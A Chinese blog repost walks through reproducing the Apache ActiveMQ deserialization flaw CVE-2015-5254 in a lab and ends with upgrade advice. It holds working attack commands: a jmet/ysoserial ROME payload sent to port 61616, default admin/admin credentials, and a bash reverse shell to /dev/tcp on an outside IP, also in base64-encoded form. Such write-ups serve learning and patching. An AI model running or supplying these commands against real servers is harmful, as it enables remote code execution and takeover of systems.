本文介绍: ActiveMQ支持多种消息协议,包括JMS(Java消息服务)、AMQP(高级消息队列协议)和STOMP(简单文本传输协议),使得它能够不同客户端应用程序进行通信kali下载jmetjar包,里面集成ysoserial,运行jarjdk环境对应,我的jdk是1.8版本jdk17执行失败了。再次向服务器发送消息,ActiveMQ的消息队列中会增加一条,当这条被点击时候我们反弹shell也就会被执行。当点击了这条消息后我们命令就被触发执行了,说明是有这个漏洞的。

ActiveMQ 反序列化漏洞

Apache ActiveMQ是一种开源的消息代理message broker),被广泛用于应用程序之间消息传递。它提供可靠消息传递模式,如发布/订阅、点对点和请求/响应,非常适合构建分布式系统应用程序集成。ActiveMQ支持多种消息协议,包括JMS(Java消息服务)、AMQP(高级消息队列协议)和STOMP(简单文本传输协议),使得它能够不同客户端应用程序进行通信。它还提供了高可用性、消息持久化、消息过滤事务支持等功能,使得开发者能够构建可靠、可扩展消息传递系统

说明 内容
漏洞编号 CVE-2015-5254
漏洞名称 ActiveMQ 反序列化漏洞
漏洞评级 高危
影响范围 ActiveMQ 5.13.0以前版本
漏洞描述 java序列任意代码执行
修复方案 升级到Apache ActiveMQ 5.13.0及以上版本

漏洞描述

Apache ActiveMQ是由美国Pachitea(Apache)软件基金会开发开源消息中间件,支持Java消息服务、集群、Spring框架等。

CVE-2015-5254:该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者借助特制的序列化的java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码

漏洞等级

评定方式 等级
威胁等级 严重
影响 广泛

基础环境

漏洞复现

漏洞利用过程如下
  1. 构造执行命令java序列对象ysoserial集合了各种java序列payload,而jmet集成了ysoserial)
  2. 序列对象作为一个消息,发送给目标61616工作端口
  3. 访问web管理页面➡读取消息➡触发漏洞
漏洞复现

环境搭建好后访问yourip:8186,出现这个页面表示环境搭建成功

ActiveMQ:8186 管理端口, 61616 默认服务端口 。

image-20230914111331809

kali下载jmet的jar包,里面集成了ysoserial,运行jarjdk环境对应,我的jdk是1.8版本jdk17执行失败了。

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

下载后同目录创建一个external文件夹,否则可能出错

执行以下代码发送一个消息给服务器

java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 114.115.172.115 61616

-Q myevent:指定投递事件名称。jmet会使用事件名称payload封装成消息投递
-I ActiveMQ:指定目标类型,这里使用ActiveMQ。
-s:表示使用序列化方式执行攻击
-Y “touch /tmp/success”:指定要执行的命令
-Yp ROME:指定使用ysoserial生成的ROMEpayload。ROME能生成TemplatesImpl对象payload
114.115.172.115 61616:指定目标ActiveMQ的地址端口

访问:http://your.ip:8161/admin/browse.jsp?JMSDestination=event

默认账号密码adminadmin

点击消息的时候我们命令将会被执行。

image-20230914120536037

image-20230914120419752

点击了这条消息后我们命令就被触发执行了,说明是有这个漏洞的。

image-20230914120436520

反弹shell

想要执行反弹shell我们需要反弹shell命令做一个base64编码可以执行,要么会执行失败。

首先准备好一个反弹shell,然后base64编码

bash -i >& /dev/tcp/114.115.172.115/9002 0>&1
https://ctf.bugku.com/tool/base64  #编码网站
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE1LjE3Mi4xMTUvOTAwMiAwPiYx

再次向服务器发送消息,ActiveMQ的消息队列中会增加一条,当这条被点击时候我们反弹shell也就会被执行。

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE1LjE3Mi4xMTUvOTAwMiAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 114.115.172.115 61616

点击一下

image-20230914122202099

我们服务器监听的地方就可以拿到一个反弹shell了。

image-20230914121603298

修复建议

1、升级到Apache ActiveMQ 5.13.0及以上版本更新补丁

网址如下
http://activemq.apache.org/securityadvisories.data

原文地址:https://blog.csdn.net/weixin_44681307/article/details/134818099

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任

如若转载,请注明出处:http://www.7code.cn/show_47230.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注